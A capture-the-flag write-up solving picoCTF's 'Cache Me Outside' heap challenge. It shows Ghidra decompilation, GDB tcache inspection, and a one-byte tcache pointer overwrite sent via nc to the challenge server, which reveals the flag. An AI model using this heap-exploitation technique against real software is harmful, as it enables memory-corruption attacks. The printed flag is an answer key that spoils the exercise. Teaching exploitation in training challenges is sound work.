Cache Me Outside
10 minutes to read
We are given a 64-bit binary called heapedit
and a libc.so.6
file as external library:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'
If we run the binary we will get a segmentation fault:
$ chmod +x heapedit
$ ./heapedit
zsh: segmentation fault (core dumped) ./heapedit
It is configured to use Glibc at the current directory:
$ ldd heapedit
linux-vdso.so.1 (0x00007ffe8397e000)
libc.so.6 => ./libc.so.6 (0x00007f9f134b0000)
/lib64/ld-linux-x86-64.so.2 (0x00007f9f138a3000)
We will use pwninit
to patch the binary so that it works:
$ pwninit --libc libc.so.6 --no-template --bin heapedit
bin: heapedit
libc: libc.so.6
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.27-3ubuntu1.2_amd64.deb
setting ./ld-2.27.so executable
copying heapedit to heapedit_patched
running patchelf on heapedit_patched
And now it still doesn’t work:
$ ./heapedit_patched
zsh: segmentation fault (core dumped) ./heapedit_patched
Let’s use ltrace
to see some library calls:
$ ltrace ./heapedit_patched
setbuf(0x7fe7fa3ac760, 0) = <void>
fopen("flag.txt", "r") = 0
fgets( <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
And there is the issue, we need to create a fake flag file to run it correctly:
$ echo 'picoCTF{test_flag}' > flag.txt
$ ./heapedit_patched
You may edit one byte in the program.
Address: 1
Value: 2
t help you: this is a random string.
It seems like the program is giving us a “write-what-where” primitive for one byte. Let’s use Ghidra to decompile the binary into readable C source code:
int main() {
long in_FS_OFFSET;
char value;
int address;
int i;
void *p_first_malloc;
void *first_malloc;
FILE *flag_file;
void *second_malloc;
void *last_malloc;
undefined8 random_string;
undefined8 local_70;
undefined8 local_68;
undefined local_60;
char flag[72];
long local_10;
local_10 = *(long *) (in_FS_OFFSET + 0x28);
setbuf(stdout, (char *) 0x0);
flag_file = fopen("flag.txt", "r");
fgets(flag, 0x40, flag_file);
/* this is */
random_string = 0x2073692073696874;
/* a random */
local_70 = 0x6d6f646e61722061;
/* string. */
local_68 = 0x2e676e6972747320;
local_60 = 0;
p_first_malloc = (void *) 0x0;
for (i = 0; i < 7; i++) {
first_malloc = malloc(0x80);
if (p_first_malloc == (void *) 0x0) {
p_first_malloc = first_malloc;
}
/* Congrats */
*(undefined8 *) first_malloc = 0x73746172676e6f43;
/* ! Your f */
*(undefined8 *) ((long) first_malloc + 8) = 0x662072756f592021;
/* lag is: */
*(undefined8 *) ((long) first_malloc + 0x10) = 0x203a73692067616c;
*(undefined *) ((long) first_malloc + 0x18) = 0;
strcat((char *) first_malloc,flag);
}
second_malloc = malloc(0x80);
/* Sorry! T */
*(undefined8 *) second_malloc = 0x5420217972726f53;
/* his won' */
*(undefined8 *) ((long) second_malloc + 8) = 0x276e6f7720736968;
/* t help y */
*(undefined8 *) ((long) second_malloc + 0x10) = 0x7920706c65682074;
/* ou: */
*(undefined4 *) ((long) second_malloc + 0x18) = 0x203a756f;
*(undefined *) ((long) second_malloc + 0x1c) = 0;
strcat((char *) second_malloc, (char *) &random_string);
free(first_malloc);
free(second_malloc);
address = 0;
value = '\0';
puts("You may edit one byte in the program.");
printf("Address: ");
__isoc99_scanf("%d", &address);
printf("Value: ");
__isoc99_scanf(" %c", &value);
*(char *) ((long) address + (long) p_first_malloc) = value;
last_malloc = malloc(0x80);
puts((char *) ((long) last_malloc + 0x10));
if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
It is using malloc
to store two strings in the heap. The flag corresponds to the first malloc
, the second malloc
will be for a dummy message (i.e. “Sorry! This won’t help you: this is a random string.”).
It is also releasing the chunks using free
. And finally it is calling malloc
again, so the last chunk that was released will be allocated, and then it prints the stored string.
Here, the order matters, because the last chunk that is released is the one that contains the random string.
The program gives us a chance to modify a single byte in a given address, let’s see what we can do.
We will use GDB to debug the program breaking at puts
:
$ gdb -q heapedit_patched
Reading symbols from heapedit_patched...
(No debugging symbols found in heapedit_patched)
gef➤ break puts
Breakpoint 1 at 0x400690
gef➤ run
Starting program: ./heapedit_patched
Breakpoint 1, _IO_puts (str=0x400b18 "You may edit one byte in the program.") at ioputs.c:33
gef➤ heap chunks
Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE)
[0x0000000000602010 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE)
[0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....]
Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE)
[0x0000000000602490 70 69 63 6f 43 54 46 7b 74 65 73 74 5f 66 6c 61 picoCTF{test_fla]
Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE)
[0x00000000006034a0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE)
[0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE)
[0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE)
[0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE)
[0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE)
[0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE)
[0x0000000000603800 00 00 00 00 00 00 00 00 21 20 59 6f 75 72 20 66 ........! Your f]
Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE)
[0x0000000000603890 00 38 60 00 00 00 00 00 68 69 73 20 77 6f 6e 27 .8`.....his won']
Chunk(addr=0x603920, size=0x1f6f0, flags=PREV_INUSE) ← top chunk
Here we can see a lot of things. First, there are 2 chunks in the Tcache (it is represented by the 02
in the first chunk of the output). The Tcache is a linked list of released chunks. It is used by malloc
to allocate chunks faster because it will check if there are chunks in Tcache before requesting memory to the kernel.
The address of the next chunk to be allocated (the head of the linked list) is 0x603890
:
gef➤ x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0200000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000603890
0x602090: 0x0000000000000000 0x0000000000000000
The previous output is the start of the heap address space. That chunk shown is a special chunk that stores the information that malloc
uses to allocate chunks.
Let’s see whats in the head of the Tcache (actually, 0x10
before to see the chunk metadata). It is a chunk of 0x90
bytes (the 1
in 0x91
means that the previous chunk is in use). It contains the random string:
gef➤ x/20gx 0x603880
0x603880: 0x0000000000000000 0x0000000000000091
0x603890: 0x0000000000603800 0x276e6f7720736968
0x6038a0: 0x7920706c65682074 0x73696874203a756f
0x6038b0: 0x6172206120736920 0x727473206d6f646e
0x6038c0: 0x000000002e676e69 0x0000000000000000
0x6038d0: 0x0000000000000000 0x0000000000000000
0x6038e0: 0x0000000000000000 0x0000000000000000
0x6038f0: 0x0000000000000000 0x0000000000000000
0x603900: 0x0000000000000000 0x0000000000000000
0x603910: 0x0000000000000000 0x000000000001f6f1
0x603920: 0x0000000000000000 0x0000000000000000
gef➤ x/s 0x603898
0x603898: "his won't help you: this is a random string."
Let’s continue and write 0
into the address 0
and see what happens:
gef➤ continue
Continuing.
You may edit one byte in the program.
Address: 0
Value: 0
Breakpoint 1, _IO_puts (str=0x6038a0 "t help you: this is a random string.") at ioputs.c:33
gef➤ heap chunks
Chunk(addr=0x602010, size=0x250, flags=PREV_INUSE)
[0x0000000000602010 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x602260, size=0x230, flags=PREV_INUSE)
[0x0000000000602260 88 24 ad fb 00 00 00 00 a3 24 60 00 00 00 00 00 .$.......$`.....]
Chunk(addr=0x602490, size=0x1010, flags=PREV_INUSE)
[0x0000000000602490 70 69 63 6f 43 54 46 7b 74 65 73 74 5f 66 6c 61 picoCTF{test_fla]
Chunk(addr=0x6034a0, size=0x90, flags=PREV_INUSE)
[0x00000000006034a0 30 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 0ongrats! Your f]
Chunk(addr=0x603530, size=0x90, flags=PREV_INUSE)
[0x0000000000603530 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6035c0, size=0x90, flags=PREV_INUSE)
[0x00000000006035c0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603650, size=0x90, flags=PREV_INUSE)
[0x0000000000603650 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x6036e0, size=0x90, flags=PREV_INUSE)
[0x00000000006036e0 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603770, size=0x90, flags=PREV_INUSE)
[0x0000000000603770 43 6f 6e 67 72 61 74 73 21 20 59 6f 75 72 20 66 Congrats! Your f]
Chunk(addr=0x603800, size=0x90, flags=PREV_INUSE)
[0x0000000000603800 00 00 00 00 00 00 00 00 21 20 59 6f 75 72 20 66 ........! Your f]
Chunk(addr=0x603890, size=0x90, flags=PREV_INUSE)
[0x0000000000603890 00 38 60 00 00 00 00 00 68 69 73 20 77 6f 6e 27 .8`.....his won']
Chunk(addr=0x603920, size=0x410, flags=PREV_INUSE)
[0x0000000000603920 30 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0...............]
Chunk(addr=0x603d30, size=0x1f2e0, flags=PREV_INUSE) ← top chunk
Can you spot the difference? There is a 0ongrats!
instead of Congrats!
. Hence, the address where we write is actually an offset, and the base address is 0x6034a0
:
gef➤ grep 0ongrats
[+] Searching '0ongrats' in memory
[+] In '[heap]'(0x602000-0x623000), permission=rw-
0x6034a0 - 0x6034cc → "0ongrats! Your flag is: picoCTF{test_flag}\n"
Moreover, puts
is using the string at 0x6038a0
, which is 0x603890 + 0x10
, the code actually performs this operation:
last_malloc = malloc(0x80);
puts((char *) ((long) last_malloc + 0x10));
We are going to modify 0x603890
inside the Tcache and change it for 0x603490
for example. That is, we will put 0x34
as the byte to write (which is 4
in ASCII).
Now we need to obtain the address where 0x603890
is stored in the heap. Recall this output:
gef➤ x/20gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000251
0x602010: 0x0200000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000603890
0x602090: 0x0000000000000000 0x0000000000000000
The exact address of the byte 0x38
is 0x602089
. Let’s verify it:
gef➤ x/c 0x602089
0x602089: 0x38
Alright, so the offset we need is 0x602089 - 0x6034a0 = -5143
. Let’s try it:
$ gdb -q heapedit_patched
Reading symbols from heapedit_patched...
(No debugging symbols found in heapedit_patched)
gef➤ run
Starting program: ./heapedit_patched
You may edit one byte in the program.
Address: -5143
Value: 4
Congrats! Your flag is: picoCTF{test_flag}
[Inferior 1 (process 295925) exited normally]
It works in GDB, but not outside:
$ ./heapedit_patched
You may edit one byte in the program.
Address: -5143
Value: 4
zsh: segmentation fault (core dumped) ./heapedit_patched
After some time, I figured out what was hapenning. The thing is that the heap addresses suffer from ASLR, so all the addresses are randomized but the last three hexadecimal digits (as with Glibc or PIE binaries). We are modifying the fourth and third digits of an address, and that will not work always.
One way to solve this is trying multiple times:
$ while true; do echo '-5143\n4' | ./heapedit_patched; done | grep picoCTF
Address: Value: Congrats! Your flag is: picoCTF{test_flag}
And it also works on the remote instance:
$ while true; do echo '-5143\n4' | nc mercury.picoctf.net 8054; done | grep picoCTF
Address: Value: Congrats! Your flag is: picoCTF{5c9838eff837a883a30c38001280f07d}
There is a more elegant solution, which is modifying the first and second digits (which will not change due to ASLR). For instance, we may change 0x603890
to be 0x603800
(which is the address of the previous chunk) in the example above. We also need to substract 1 to the address offset (that is -5144
).
It works always and both locally and remotely:
$ echo '-5144\n\0' | ./heapedit_patched
You may edit one byte in the program.
Address: Value: lag is: picoCTF{test_flag}
$ echo '-5144\n\0' | nc mercury.picoctf.net 8054
You may edit one byte in the program.
Address: Value: lag is: picoCTF{5c9838eff837a883a30c38001280f07d}